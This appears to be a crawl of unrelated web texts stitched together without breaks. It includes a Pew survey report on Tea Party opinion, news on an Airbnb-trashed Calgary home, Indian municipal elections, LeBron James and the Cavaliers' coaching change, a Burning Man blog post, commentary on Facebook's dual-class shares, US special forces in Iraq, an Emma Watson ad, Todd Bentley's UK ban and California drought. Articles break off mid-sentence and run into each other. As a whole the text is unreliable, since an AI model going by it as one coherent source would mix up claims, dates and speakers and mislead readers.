Overall, 47% of the public says they think of the Tea Party movement as separate and independent from the Republican Party, while somewhat fewer (38%) say it is a part of the Republican Party, and 14% do not offer an opinion. Attitudes on this question are little different from when it was asked in April of 2011 and November of 2010.
More Republicans view the Tea Party as a separate movement from the GOP (51%) than as part of the Republican Party (32%). Opinion is nearly identical among independents (51% separate, 36% part of GOP). By contrast, Democrats are about as likely to say the Tea Party is part of the Republican Party as to say it is separate (48%-41%).
The Republican base is somewhat divided over what the Tea Party represents. Republicans and Republican leaners who agree with the Tea Party see the movement as separate and independent from the GOP, by a 52% to 41% margin. Republicans and Republican leaners who do not agree with the Tea Party see the movement as separate from the Republican Party by a more one-sided 55%-27% margin, with 17% offering no opinion.
Since April 2011, Tea Party Republicans have become more likely to see the Tea Party movement as part of the GOP. In 2011, Republicans who agreed with the Tea Party said the movement was separate from the GOP by a 67%-29% margin (38-point gap); today, that margin has narrowed to 52%-41% (11-point gap).
A Pew Research survey conducted in early October found that over the past two years Tea Party Republicans also have become somewhat less likely to say Republican leaders in Congress are paying too little attention to the ideas of the Tea Party. For more, see: “Partisans Dug in on Budget, Health Care Impasse” released October 7, 2013.
Should Members of Congress Vote with District or National Interests?
When members of Congress face a choice between voting for what they think is best for the country and voting with the views of their constituents, the public’s stance is that members should vote to represent their district. This view is particularly prevalent among Tea Party Republicans.
Overall, 55% of the public says that members of Congress should vote against a bill that they think is in the best interest of the country, if a majority of the people they represent is against it; 38% say members should vote for such a bill. This balance of opinion hasn’t changed much since 1987, when CBS News and the New York Times first asked the question.
Among Tea Party Republicans, fully 76% say members should vote against a bill their constituents oppose, even if he or she thinks it is in the best interest of the country. Just 22% say the lawmaker should prioritize the national interest above their constituents’ views.
Democrats are more supportive of members using their own discretion, but even they are divided on this question: 47% say a member should vote for a bill they think is in the best interests of the country, even if majorities of the people they represent oppose the bill; an identical 47% say they should vote against the bill.
Boehner More Prominent as Party Leader
When asked who they think of as the leader of the Republican Party, more Republicans and Republican leaners volunteer John Boehner than any other name. About two-in-ten (21%) say Boehner is the leader of the Republican Party, while 9% say Ted Cruz; other names are mentioned by no more than 3% of Republicans and Republican leaners.
Boehner has become more prominent as the leader of the party over the last three months. Since July, Republicans have become 12 points more likely to say they think of Boehner as the party’s leader; mentions of Ted Cruz have also risen (from 2% to 9%).
Still, most Republicans (54%) say either that they don’t know who the leader of the party is
(39%) or that no one leads the GOP (15%).
Nearly three-in-ten Tea Party Republicans (28%) say Boehner is the leader of the party; Cruz ranks second among this group at 18%.
Non-Tea Party Republicans are less likely to offer a response to the question (50% don’t know who they think of as the party’s leader). Among those who do offer a response, Boehner is cited as the leader by 17%, while just 3% cite Cruz.
Who Identifies with the Tea Party?
Over the past three-and-a-half years, the Pew Research Center has tracked public affiliation with the Tea Party through a simple question: asking the respondent whether they agree or disagree with the Tea Party movement or don’t have an opinion either way. In the early days of the Tea Party movement, agreement typically exceeded disagreement. In March 2010, 24% said they agreed and just 14% disagreed. Agreement with the Tea Party peaked in November 2010 at 27%, shortly after the midterm election.
But the balance of opinion flipped in 2011, as many existing and newly elected Republicans in Congress formed a Tea Party Caucus and took a more active role in legislative debates. By March 2011, 25% disagreed and 19% agreed with the Tea Party, an eight-point decline in agreement from the 2010 peak. This balance of opinion held for most of the past three years. The current survey measured the highest level of disagreement over this timespan, with 32% saying they disagree with the Tea Party movement.
About four-in-ten (41%) Republicans and Republican leaners agree with the Tea Party movement, while 45% say they have no opinion either way and an additional 2% volunteer that they haven’t heard of the movement. The percentage agreeing with the Tea Party has declined from its peak of 51% in November of 2010, and has fluctuated around 40% for much of the last year. Few Republicans disagree with the Tea Party (11%), though this percentage has edged up from the low single digits in early 2010.
Among Democrats and Democratic leaners, 52% disagree with the Tea Party while 46% say they have no opinion either way and just 2% agree. This marks the first time that Democratic disagreement has edged above 50% and represents a significant change in opinion since the spring of 2010 when far more Democrats had no opinion about the Tea Party (68%) than disagreed with it (25%).
Because of this, about nine-in-ten (92%) Americans who agree with the Tea Party either identify as Republicans (53%) or lean to the Republican Party (39%). Just 1% of all of those who express agreement with the Tea Party identify as Democrats, while 5% lean to the Democratic Party and 2% have no partisan leaning.
Tea Party Republicans: Older, More Male, Higher Income
The roughly four-in-ten Republicans and Republican leaners who agree with the Tea Party are more likely to be male (61%) than non-Tea Party Republicans (50%) and they tend to be older: 57% of Tea Party Republicans are age 50 or older, compared with 45% of non-Tea Party Republicans.
Both Tea Party (83%) and non-Tea Party Republicans (81%) are predominantly non-Hispanic whites, this compares with 68% of the public overall.
Tea Party Republicans have higher levels of income and education than Republicans and Republican leaners who do not agree with the Tea Party. For example, 34% of Tea Party Republicans have a college degree compared with 26% of non-Tea Party Republicans.
Tea Party Republicans on the Issues
The distinct views of Tea Party Republicans can be seen across a range of issues.
A driving attitude of the Tea Party is a belief in smaller government: Fully 92% of Tea Party Republicans prefer a smaller government with fewer services, just 5% want a bigger government. Among non-Tea Party Republicans, a smaller government is preferred by a less one-sided 67%-28% margin.
Similarly, 93% of Tea Party Republicans say protecting gun rights is more important than controlling gun ownership, compared with 68% of non-Tea Party Republicans.
On energy, 73% of Tea Party Republicans prioritize expanding the production of traditional sources; just 16% say developing alternative sources should be the priority. On balance, Republicans who do not agree with the Tea Party take the opposite view: 53% say developing alternative sources is the more important energy priority, 38% say expanding production of coal, oil and natural gas is more important.
Tea Party Republicans: GOP Should Take More Conservative Direction
Beyond their policy views, Tea Party Republicans are also distinct in how they look at the political situation in Washington: most notably, they tend to back a hard line when it comes to compromise, and want to see the GOP move in a move conservative direction.
By a 68%-26% margin, Tea Party Republicans interviewed in July said Republican leaders should move in a more conservative, rather than more moderate, direction. And when it came to compromise, 50% said Republicans in Congress had compromised too much with Democrats, just 14% said they hadn’t compromised enough.
These views were in stark contrast with those of non-Tea Party Republicans: 39% of Republicans who don’t agree with the Tea Party said GOP leaders had not compromised enough, 35% said they handled things about right and just 21% said they had compromised with Democrats too much. In addition, about as many non-Tea Party Republicans wanted the Republican party to move in a more moderate direction (50%) as in a more conservative direction (45%).
In the current debate over the debt limit, nearly seven-in-ten (69%) of Tea Party Republicans think that the country can go past the deadline for raising the debt limit without major economic problems, and fully 52% say the debt limit does not need to be raised at all. For more, see: “As Debt Limit Deadline Nears, Concern Ticks Up But Skepticism Persists,” released October 15, 2013.Michael Shulman, CTVNews.ca Staff
Police say that they have never encountered "anything" like the destruction found in a Calgary home after it was rented out to tenants using Airbnb over the weekend.
Const. Attila Horvath said at a news conference Wednesday he was shocked by the extent of the damage when he entered the Sage Hill area residence on Monday.
"It was almost anger; I couldn’t believe that someone could do that in three days to another person's home," said Horvath.
"In my nine years of policing, I have never seen anything like it," he added.
Horvath said that at least $50,000 to $75,000 worth of damage was done to the house.
Mark and Star King found the tenants through the popular short-term rental website Airbnb. The couple, who have two young children, thought that by renting their two-storey home they could make some extra money to fund their own travels.
The lodgers told them that they were in town for a wedding, and only four adults would be staying at the home.
They turned over the keys on Saturday, but shortly after they started receiving calls and texts from concerned neighbours.
One neighbour reported to police that a party bus rolled up and people started streaming into the home.
Police responded to three noise complaints between Saturday and Monday. But the three-day party wasn't shut down until police received a call about a fight in front of the house on Monday morning.
When they arrived, the altercation had already been broken up and there were three people outside the home.
Police said that they were "very uncooperative" and wouldn't give any information about the renter.
It was at this time that the homeowners returned and asked the tenants to leave.
"Girls were wasted on my deck, just totally out of it, so I pleaded with them and said: 'would you girls please just pack up your stuff and leave my home? I'm begging you; I have babies that live here – this is my home,'" Star told CTV Calgary.
Roughly an hour later, Horvath says that between 15 to 20 people left and they were able to enter the home.
"You could see that there was significant damage to the house, especially in the living room," said Horvath.
"The couch was broken, all the cushions were off … there's a table broken, there's glass all over the floor (and) there's ketchup, mustard and barbecue sauce all over the floors and on the walls," he added.
Mark King said that the tenants' actions left him feeling violated.
"I mean, this is our home. This is our sanctuary," Mark said.
Photos from the couple's Instagram also showed the extent of the destruction, but the account has since been set to private.
Couch pillows that had been covered with stains and torn open were piled up in the hallway of the home.
Garbage had also been strewn on the floor and the furniture was littered with cigarette butts, spills and other items left over by partygoers.
Horvath said that because of the "bodily fluids" -- including urine, semen and vomit -- that were left in the home the couple will have to enlist professional cleaners.
In a video posted to YouTube, one police officer who is attending the home says he has never seen such extensive damage.
"You know what even when I was younger I had my fair share of party days and I've never been privy to something like this," the officer said.
"This is disgusting," he added.
Police have reached out to the renter of the property and the Crown is exploring pursuing charges of mischief to property over $5,000.
The couple posted to Instagram saying that they were "thankful" to Airbnb for providing coverage under its Host Guarantee, which offers up to $ 1 million in insurance "in the rare event of guest damages which are not resolved directly with the guest."The indirect elections to the posts of Mayors and Municipal Chairpersons in seven corporations and 90 municipalities passed off peacefully barring a couple of stray incidents of violence. Amid complaints of ‘kidnap’ of their councillors by the ruling Telugu Desam and YSR Congress, the election gave some tense movements to the police in Jammalamadugu in Kadapa district and a couple of other municipalities.Police fired two rounds in the air at Jammalamadugu to disperse agitated leaders and supporters of the ruling and opposition parties. The activists indulged in stone-throwing following reports that ‘a TDP councillor Mulla Jani was kidnapped by the rival YSRCP’.Elections in the other civic bodies were by and large peaceful with the ruling party exhibiting its domination. Of the 90 municipalities where elections were held, TDP secured the top post of chairperson in 74 municipalities.The ‘cycle’ continued its sway in corporations as well by winning five of the six corporations for which results had been declared. The YSRCP remained a distant second bagging Kadapa Municipal Corporation.In the municipalities, elections in Markapuram and Jammalamadugu were deferred to Friday. While clashes between the TDP and YSRCP activists led to the postponement of Jammalamadugu elections, lack of quorum was said to be the reason behind deferring the Markapur elections.In the remaining municipalities, TDP showed its resurgence by sweeping elections in several districts including West Godavari.YSRCP proved its hold over Kadapa yet again while the party put up an impressive performance in Chittoor where it stood evenly with TDP by bagging three municipalities. The party however could not meet the expectations in the remaining districts.Supporters of Chirala MLA Amanchi Krishnamohan and TDP candidate Pothula Sunitha clashed in-front of the municipal office at Chirala causing injuries to five persons in the stone-pelting. The police resorted to lathicharge to quell the mob.Related Video
INDEPENDENCE, Ohio -- LeBron James stressed Saturday that he did not influence the Cleveland Cavaliers'coaching change, saying he was "surprised and caught off-guard" by the decision to fire David Blatt James addressed the media less than 24 hours after the Eastern Conference-leading Cavaliers fired Blatt and replaced him with assistant Tyronn Lue.Cavaliers general manager David Griffin on Friday disputed the notion that James was part of the franchise's decision-making process regarding Blatt, saying the four-time MVP "doesn't run this organization."James echoed those comments Saturday. He said he is not worried about the perception of his impact on coaching decisions."That's not my concern," James said. "I found out about it just like every other player on this team at 3:30 yesterday....I think [Griffin] was right on everything he said.... Like it or love it or hate it, we got to respect it."A source close to James told ESPN that the Cavs star "didn't know this was coming" before Griffin gathered the players at the practice facility to inform them that Blatt had been fired.Sources also told ESPN's Brian Windhorst that although James' fondness for Lue and his desire to be coached by a former player were well-known throughout Cleveland's organization, James was not directly consulted Friday on the Cavs' decision."For me, I can't get caught up and worried about what other people are thinking," James said. "I stopped doing that a long time ago in my career.... The only thing I can worry about is how I can get these guys better prepared and we can play better basketball."James addressed his relationship with Lue, who also spoke to the media Saturday."We've been friends since I was 17 years old, but at the end of the day, he's still the coach and I'm underneath him," James said. "He will coach me and push me, and I'll listen to everything he has to say and go from there. Don't try to make it a story of why me and Coach Lue are so tight. I think it's a lot of coaches and players that's close in this league. It just happened to be me."Lue said he was required to communicate with the players often during the course of games as he directed the team defense."Me and Bron were friends before when I played. We had a great relationship then," Lue said. "But what you guys don't understand from what you see is that when the players are coming and talking to me as an assistant coach, like, I'm the defensive coordinator. So if guys are getting scored on or guys are in the wrong spots or guys are not doing the right thing defensively, they come and talk to me because I'm in charge of the defense."Like, if you watch the Clippers, Chris Paul and DeAndre Jordan, they go and talk to Lawrence Frank. Or in Phoenix, to [Mike] Longabardi, the defensive coordinator. They're going to talk to him. Or in New Orleans, with Darren Erman, the guys are going to talk to him. So that's the position I was put in, and the media kind of took it and ran with it like they're going to talk to me more than Blatt, which is not the case at all. It was just mostly defense."James was asked what qualities he has seen in Lue over the past season and a half being coached by him."Very detailed," James said of the 11-year NBA veteran. "That helps a lot. A guy who played the game as well, so he's won a championship -- multiple championships -- so there's nothing that he hasn't seen. He's played for Phil Jackson, he's coached with Doc [Rivers], he's been all over, so he has experience. We put our trust in him now. We're going to give him whatever he needs. We've got to follow his lead."While Lue, 38, isn't much older than James, 31, he made it clear he would be assertive when dealing with the Cavs' captain. Lue has spent plenty of time with superstars, being teammates with the likes of Michael Jordan, Kobe Bryant and Shaquille O'Neal and being the assistant coach of teams featuring Kevin Garnett Paul Pierce, Ray Allen, Paul and Blake Griffin "I talked to Bron," Lue said, referring to a conversation the pair had Friday night. "I told him, 'I got to hold you accountable. It starts with you first. And if I can hold you accountable in front of the team and doing the right things, then everybody else has got to fall in line, fall in place.'"James said a championship remains the goal for the Cavs, despite the shakeup."We can put together four great months to the end of the regular season to build a lot of things to go into the playoffs, and then everything that we've built, we can go from there," James said. "Obviously, there's a lot of time.... I love our position that we in. I would hate to be in 14th in the East and try to fight our way out. We're still in first place for a reason. We can be much better than we were."If that championship goal is realized, it will be without Blatt, who guaranteed Cleveland would win the title at a speaking engagement in Israel during the offseason.Lue said he and Blatt spoke on Friday."He said, 'I thank you for everything you've done for me. I know you had my back 100 percent,'" Lue said.While Lue and Blatt appear to be on solid terms, that does not mean that Lue will directly emulate the man he replaced.Asked what he would do "differently" than Blatt, Lue replied, "I'm not going to say 'differently.' I will say do some things 'better.'"The Cavs are an Eastern Conference-best 30-12 despite losing Lue's debut Saturday, 96-83 at home to the Bulls.This past week, Jack Kerouac’s first-ever novel, The Sea is My Brother, was finally published 40 years after his death. The novel, long thought to be lost by experts, was unearthed in Kerouac’s personal archive by his brother-in-law. We are constantly inspired by the way that our over-processed world still hangs on to its secrets, and even more by the way that bits of history can hide in plain sight, so to celebrate this newest development in the literary canon, we decided to take a look at Kerouac’s newest/oldest book and other lost novels that were eventually found again. Click through to see our list of lost and found novels, and if you’ve ever had a literary relative, get ready to go hunting in your attics for your own treasure chests.
The Sea is My Brother, Jack Kerouac
Kerouac’s recently published first novel, written when he was only 20, was based on his experiences as a merchant seaman, and contains correspondence between the author and his best friend of the time, Sebastian Sampas. “It was referred to briefly in letters, but nothing that led anyone to believe that there was this really large volume,” the book’s editor, Dawn Ward, told the BBC. This early work, she says, “is really quite important as it shows how Jack developed his writing process… [he] opens up and shows a side to him that we don’t normally see in his books.”Hello, I am back. Because I still think of this as sort of a science blog, first, I am proud to report that my weeklong sojourn from lab was not without science: I rolled up to the Phage camp just in time for “Ask a Drunk Scientist,” and as luck would have it, at that moment, I WAS a drunk scientist. “Help, I need a neuroscientist–they’re all asking how alcohol works,” one of the Phagelings said. PUT ME IN, COACH, I replied. Twenty minutes later we had covered endogenous opioids, the role of dopamine in pleasure and movement, the communication through coherence hypothesis, and why no, magnets will not heal you, hippie. Never trifle with an MRI researcher when pseudoscience is on the line.
I also spent a good amount of time on my favorite giant science-mobile, Dr. Brainlove (experience the magic through the power of sound here). And I enjoyed tons and tons of non-scientific programming, too, obviously. It was, in short, wonderful. There are pictures of some parts, while others will just have to live on in memory. But what I’m here to write about today is the way the burn has been covered in the media. I am very, very disappointed in it, and I will begin by letting someone I hate tell you why:
“My take, having spent 20 hours walking the streets of this place, is that if your takeaway from looking at the art and the participatory effort that goes into something like this is ‘there were naked people!’ then that’s a reflection on you, not on Burning Man.”
–Grover Norquist
Grover said a smart thing, there. Where he bemoans the focus on naked people, you could easily substitute “dubstep” or “steampunk weirdos” or “fire poi dancers” or “tech bros” or whatever else you hate. For me, that thing is “white people in Native American headdresses.” But time spent complaining is a tragic waste. Seriously, have a coconut water and a nap if you’re cranky–you’ll be right as rain in a few hours. And if, after all of that, you still can’t find something to not hate, there is no hope for you in any world, on the playa or off.
But ok, Grover, that’s pretty much the only thing you’re right about. You and FoxNews really need to quit it with this “no taxes and no government” libertarian horseshit. It’s insulting. That ticket price, half a month’s rent for me, symbolizes trips to Europe I will never take, and I’m not even sorry. It goes to fund the building of fences to keep the event Leave No Trace, the medical tents, the wonderful Black Rock Rangers, and tons of other infrastructure that people arrive early and leave late to work and sweat for because they care. This is a city that stands ready to take care of its citizens, whether they end up needing it or not.
Even so, Black Rock City is not, nor was it ever meant to be, a model for how the world “should” be. Most burners will tell you that, by day 7, they are in many important ways very ready to go home. Even the ones who refer to said home grudgingly as “the default world.” Because we know that this isn’t sustainable. Those port-a-potties are gnarly. You need to sleep at some point. You need a shower. You need to not be standing on what is essentially a giant battery during a lightning storm. There are many reasons why it All Must End. Grover’s championing this event as a model libertarian society misses the point in ways that even your dumbest, dirtiest, hippie understands.
Grover isn’t alone, though–know who else misses the point? The authors of every single article (here, I’m linking only to the mothership) bemoaning the demise of Burning Man due to its being overrun with the “tech elite.” Get your heads out of your asses. Dig deeper than the most superficial layer of your own crusty blogospheric navel lint. Grover couldn’t singlehandedly destroy something beautiful that seventy thousand people built, and neither can your expensive tech camp (and seriously, if it takes you $25,000 in camp dues to have fun at Burning Man, I feel sorry for you, you overmoneyed, hapless buzzkill). I met dozens of insanely friendly people and I have no idea what any of them do for a living (except that topless woman with a half-shaved head and a megawatt smile who turned out to be a nurse–we definitely got her address, since her camp was considerably closer to ours than the medical tent). Some of these people might have been tech douches. I will never know, I was too busy watching them become overwhelmed by something like understanding the True Meaning of Christmas, and it was beautiful.
And in the meantime, all those touting Burning Man as tech’s logical innovation incubator? No. Burning Man is fun. That’s all it is. Plain and simple. It’s absolutely true that too many people find themselves with the job, money, and respect they’ve always craved, only to find their lives void of any meaning. The immediacy of this blessed event can be transformative. We’re not used to feeling like we’re exactly where we need to be, doing exactly what we need to be doing. The fear of missing out, in the default world, is crippling. Setting that aside can show you who you are and what it is you want out of life. The hedonism, in this way, is enough to change you. Knowing how happy you are capable of being is a great impetus for clearing away everything that holds you back in life. In that sense, sure, it is at least in theory possible that this silliness leads to innovation. But that’s hardly the point.
Putting aside the issue of what utilitarian good may come out of Burning Man, because it is gross, grosser than the port-a-potties, we turn our attention to the seemingly most anomalous spot on the playa: the temple. People leave all sorts of inscrutable mementos and memorials in all corners of this (nondenominational) sacred space. This week of hedonism requires homage to those who have helped us find our way but who cannot be there with us. When the temple burns, the enormity of the blaze reminds all in solemn attendance that they are not alone in their suffering, that the togetherness of our mementos and our time here on the playa can be a source of strength.
This year, I watched two burly men use a power drill to affix some sort of golf tournament plaque to a temple wall, in remembrance of someone they had lost. They let deep, ribcage-wracking sobs escape as they hugged each other fiercely. As they patted each other on the back, I heard affirmations murmured, bubbling up through gobs of snot and heartbreak. “It’s you and me now, buddy. We’ve got each other. I love you.” I wasn’t sneering at them for their choice of golf, a blueblooded, eco-horrific pastime. I didn’t tell them their bro hobby was ruining Burning Man. Nobody was laughing at the sight of two grown men crying and hugging. These big dudes were hurting. They had come to the desert to face their hurt together, and to eclipse it for seven days with a happiness too big to torpedo with rumination, regrets, or fear. I snagged a few squares of toilet paper from a woman next to me as my boyfriend assured her friend, “It’s ok, you’re in good company. We’re all hot messes here.”
We are all hot messes here, even Grover and the tech douches. It’s absolutely worth it. It doesn’t ruin it. Mess is, of course, the price of fun.
AdvertisementsA couple of weeks ago, when Mark Zuckerberg wore his trademark hoodie to meetings with potential investors in Facebook’s I.P.O., not everyone was impressed. Michael Pachter, an analyst at Wedbush Securities, said that it was a “mark of immaturity” and Zuckerberg’s way of “showing investors that he doesn’t care that much.” Pachter sounded like a cranky geezer telling the neighborhood kids to stay off his lawn, but he was right about Zuckerberg’s view of investors. Zuckerberg has been careful to make sure that investors don’t interfere with the way he runs his company. Before Facebook went public, it created two classes of shares, and Zuckerberg’s shares have far more voting power than the ones sold to outside shareholders. After Friday’s I.P.O., he will own eighteen per cent of the company but will control fifty-seven per cent of the voting shares, putting him in total command.
Dual-class share structures used to be rare and confined largely to family-run enterprises or media companies, such as the New York Times, where they could be justified as protecting the company’s public mission. The received wisdom was that active investors are good for companies and for the market as a whole, and that companies need to put shareholders first. But Google bucked convention when, in 2004, it adopted the dual-class structure for its I.P.O., and the arrangement has become popular among technology companies. All the big tech I.P.O.s of the past year—LinkedIn, Groupon, Yelp, Zynga—featured it, and Google’s recent stock split took things to a new level and sold shares with no voting rights at all. Whereas the C.E.O.s of most public companies have to spend time kowtowing to investors, Zuckerberg and his peers are insisting on the right to say, “Thanks for your money. Now shut up.”
There’s reason to be concerned at the spread of the dual-class structure. One study that examined a large sample of dual-class firms from 1994 to 2001 found that they notably underperformed the market. And few people would say that the problem with corporate America is that C.E.O.s have too little authority; the recent travails of Rupert Murdoch are a testament to the problem of a monarchical executive. Yet when the right person is in charge the dual-class structure can help companies avoid one of the problems besetting modern business—the short-termism of big institutional investors. In the postwar era, most shareholders were individual investors who held on to stocks for ages and exerted little pressure on companies. Executives didn’t have to worry about quarterly earnings and had the freedom to invest in long-term research and development. In today’s market, by contrast, investors are far more aggressive in pressuring companies to hit their numbers. This has its benefits—companies are more efficient in using shareholder money, and underperforming C.E.O.s are more likely to be shown the door. But investors now have very short-term horizons. The average annual turnover of a mutual-fund portfolio is a hundred per cent, and for a hedge-fund portfolio around three hundred per cent. When shareholders reckon in months (or weeks) rather than in years, it’s harder for companies to take the long view.
Still, even if there are potential virtues in a dual-class share structure, it turns investors into mere spectators. So why do they put up with it? The simple answer is that they don’t have much choice. Investors these days are hungry for any kind of return: the stock market as a whole has barely risen in the past decade; bond yields are unusually low; and, thanks to the so-called global savings glut, much of it driven by China, there is just too much capital out there chasing too few worthwhile investments. This makes investors willing to accept terms that they would once have found intolerable. On the flip side, companies like Facebook don’t really need the money that an I.P.O. raises. Thanks to things like open-source software and cloud computing, the cost of starting and expanding a technology company has fallen dramatically, and Facebook’s operating profit is more than enough to fund its growth. (Its I.P.O. prospectus is up front about the fact that it envisages no “specific uses” for the sixteen billion dollars it just raised, most of which it will park in U.S. treasuries, like an aging retiree.) Investors, in other words, need potential highfliers like Facebook more than the |
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Weiterführende Literatur/Links. Wehrtechnische Studiensammlung der Bundeswehr, KoblenzAmerican Special Forces commandos are on the ground fighting in northern Iraq, according to a published report, just a week after Barack Obama said that wouldn't happen. And with a second brutal beheading in Syria,the president may soon have to decide how much more military might to deploy.
Even as he has authorized more than 100 target airstrikes against the Islamic State of Iraq and al-Sham (ISIS) in Iraq, Obama told the American Legion on August 26 that 'American combat troops will not be returning to fight in Iraq.'
'I will not allow the United States to be dragged back into another ground war in Iraq,' he said, adding later that 'the answer' to ISIS 'is not to send in large-scale military deployments that overstretch our military.'
His parsing of words – 'combat troops' and 'large-scale' – now seem calculated to produce platoon-sized loopholes.
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Kurds to the rescue: Peshmerga fighters (pictured) have proven fierce adversaries of ISIS in northern Iraq, and their commanders are now confirming that US troops are on the ground helping
Careful parsing: 'American combat troops will not be returning to fight in Iraq,' Barack Obama said a week ago during a speech in Charlotte, North Carolina to the American Legion
A Daily Beast freelance reporter wrote Tuesday that he saw 'what appeared to be bearded Western Special Operations Forces' in a caravan of armored vehicles near the Iraqi town of Zumar.
The battle-scarred location, 30 miles from Mosul and a bit further from Erbil, had been the site of fierce fighting between Kurdish Peshmerga forces and ISIS militants.
'They didn't wear any identifying insignia,' the reporter added, 'but they were visibly Western and appeared to match all the visual characteristics of American special operations soldiers.'
This particular freelancer should know: He's a 27-year-old former U.S. Army Ranger who served three tours in Iraq and two in Afghanistan.
A Peshmerga commander, backed up by Kurdish intelligence sources, confirmed that 'Yes, German and American forces are on the ground here. They are helping to support us in the attack.'
But the Pentagon told the online news magazine Monday night that 'there are no U.S. troops on the ground in or around Zumar.'
A spokesman for U.S. Central Command said no American troops were involved in fighting there but a single airstrike in the area destroyed several vehicles Monday.
Spokespersons for the White House's National Security Council did not immediately respond to MailOnline's questions about the role of Special Forces near Zumar, and about whether President Obama considers Special Operators who travel without U.S. insignia to be 'combat forces.'
They had a painful and busy morning: ISIS released a video that shows the beheading of U.S. journalist Steven Sotloff, and said the murder was retaliation for continued airstrikes in Iraq.
Sotloff is the second American journalist to be killed by ISIS, and his death comes two weeks after James Foley was executed in a similar video.
The Iraqi military retook control of the northern town of Amerli on Sunday, aided by Peshmerga who say they're receiving help from Americans with boots on the ground
In the video, titled 'A Second Message to America,' Sotloff appears in a orange jumpsuit before he is beheaded by an ISIS militant.
The executioner appears to be the same man who killed Foley – known as 'Jihadi John' – and tells the camera: "I’m back, Obama, and I’m back because of your arrogant foreign policy towards the Islamic State".'
Sotloff, 31, freelanced for Time and Foreign Policy magazines and vanished in Syria in August 2013.
A retired Special Forces soldier told MailOnline on Tuesday that most of the 100-plus airstrikes the Pentagon has confirmed would have required'some kind of boots on the ground' to deliver real-time intelligence on airstrike targets – such as who is traveling in a convoy or which ISIS leaders are in a building.
They're also useful for 'painting targets,' he said, referring to a technique involving a laser, held by a nearby Special Operator and pointed at a target. Some missile guidance systems can detect laser light and use it for precision guidance.
And, the source added, 'if keyhole sat[ellite] images don't confirm a 'kill,' it helps to have ground forces who can find out for sure who we've just taken out.'
U.S. and German special ops teams, the Daily Beast reported, 'had taken up positions in Zumar that allowed them to coordinate with U.S. aircraft.'The future's bright... Emma Watson models next season's bold pink and searing turquoise make-up in latest ad for Lancome
Emma Watson may be taking another break from acting as she prepares to return to Brown this month, but she certainly isn't neglecting her contract with Lancome.
The Perks of Being a Wallflower actress, 22, proves that a pop of bright color will be the look for next season in the beauty giant's latest campaign.
The Mario Testino-shot image sees the star work a searing jade green eyeliner from the new 'In Love' collection, which goes on sale tomorrow.
New look: Emma Watson's new Lancome campaign proves that searing brights will be the order of the day when it comes to make-up next season
It works a treat with the deep pink lipstick and blush, set off by her rose-hued dress and the co-ordinating pink-and-orange backdrop.
The feminine palette is a far cry from Miss Watson's previous Lancome campaigns, which have seen her channel a vampier image with black eyeliner and bold red lips.
Silver screen star: Miss Watson took a break from her college degree at Brown to appear in the film adaptation of The Perks of Being a Wallflower (co-starring Logan Lerman, right) Now it seems she no longer needs to make such efforts to set herself apart from her Harry Potter character, Hermione. This latest look is fresh and full of energy, without looking too young.
Miss Watson, who has been in a relationship with Oxford University student Will Adamowicz since 2011, was the youngest-ever face of Lancome when she was signed by the brand in March 2011.
She said at the time: 'For me Lancome is an authentic brand. It reflects elegance, class and style.'
Stylemaker: Miss Watson has been carving a new image for herself since the Harry Potter movie series ended
The actress recently finished filming Darren Aronofsky's apocalyptic film Noah, in which she is stars alongside Russell Crowe and Jennifer Connelly.Todd Bentley, who is based in the US and founded the revivalist organisation Fresh Fire USA, had planned to hold a string of meetings in England, Wales and Northern Ireland.
He is currently in Norway for an event called Miracles, Signs and Wonders.
However, Mr Bentley has been told he was "not conducive to the public good" and was not allowed to enter the country.
The former drug addict, who describes receiving "prophetic and miracle-healing anointing" from God, has previously used his shows to "cure" cancer by kicking his followers in the face or stomach.
In clips, he is heard telling an audience: "And the Holy Spirit spoke to me, the gift of faith came on me. He said, 'kick her in the face with your biker boot'. I inched closer and I went like this – bam! And just as my boot made contact with her nose, she fell under the power of God."
Writing on his website, Mr Bentley, 36, said: "The passion of Todd's life and ministry to the nations is souls and to see others experience the transferable, tangible anointing of the Holy Spirit."
But according to the Guardian, the Home Office did not see fit to allow him to visit the UK.
"We can confirm that Mr Bentley has been excluded from the UK," a spokesman told the newspaper.
"The government makes no apologies for refusing people access to the UK if we believe they are not conducive to the public good.
"Coming here is a privilege that we refuse to extend to those who might seek to undermine our society."
Mr Bentley criticised the decision online, calling on his followers to pray.
<noframe>Twitter: Todd Bentley - Really need some Intercessors to pray. Breaking News: UK Government has banned us from entry without Valid process! Press release coming.</noframe>
He said: "I am deeply saddened by the recent decision of the UK government regarding my entry into the country.
"At this point, we are thankful to God for the support from our friends in the UK who truly love Jesus and embrace the supernatural, faith and healing.
"We know and believe that the UK has a great destiny, and we are praying for the leaders and those in government. Please continue to stand with us in prayer regarding this decision and our return to the UK."
He also pointed out the number of times he has previously travelled to the UK ahead of his planned tour of Croydon, south London, Portadown in County Armagh, Liverpool and Cwmbran in South Wales.Season-to-date assessment: drought relief across much of CA, but more needed
As we near the end of 2016, just how has California fared over the past several months in the midst of a deeply entrenched, multi-year drought? The answer: pretty well, especially in the Northern Sierra. Season-to-date precipitation as of late December remains well above average in far northern reaches of the state–including many of the watersheds that contribute the lion’s share of California’s water supply. Further south, conditions have not been nearly as wet. The Bay Area has seen slightly above average precipitation, and much of Southern California is still below average to date (although recent and unexpectedly significant precipitation courtesy of a cutoff low have bolstered totals near Los Angeles and San Diego).
Despite abundant #Sierra precip, warmer than avg temperatures have led to well below avg #snowpack to date, esp. at lower elevations. #CAwx pic.twitter.com/ungfcraDeD — Daniel Swain (@Weather_West) December 27, 2016
Temperatures have so far not been quite as warm as in recent winters, although in most spots they have still been well above the long-term average. In fact, despite abundant precipitation in the northern Sierra Nevada, snow water equivalent throughout California is running considerably behind typical late December values due to these relatively warm mountain conditions. This has been especially true on the lower slopes, which are generally closer to the freezing line and are more sensitive to smaller variations in temperature.
All in all, the season-to-date perspective is one that paints a fairly optimistic picture from a short-term drought alleviation perspective. In the longer term, lingering multi-year precipitation deficits (especially in the south) and the ongoing statewide “snow drought” mean that drought conditions will still persist throughout much of California through the rest of the rainy season–although with reduced severity relative to peak conditions a couple of years ago.
Arctic blocking ridge precipitates Western U.S. Arctic outbreak
The overall North Pacific circulation pattern over the next 1-2 weeks is highly similar to the one discussed in the last blog update in early December. Very strong high pressure both at the surface and aloft near Alaska will develop quasi-stationary “blocking” characteristics–anchoring itself at roughly the same position for an extended (>10 day) period and inducing highly anomalous wind patterns downstream over North America. Specifically, this Alaskan blocking ridge will cause the jet stream to dive southward on its eastern flank–which in this case will be right along the coast of western North American. Very cold (and relatively dry) Arctic air will become entrained in this strongly “meridional” north-south flow over the American West, bringing another outbreak of bitterly cold conditions to much of North America.
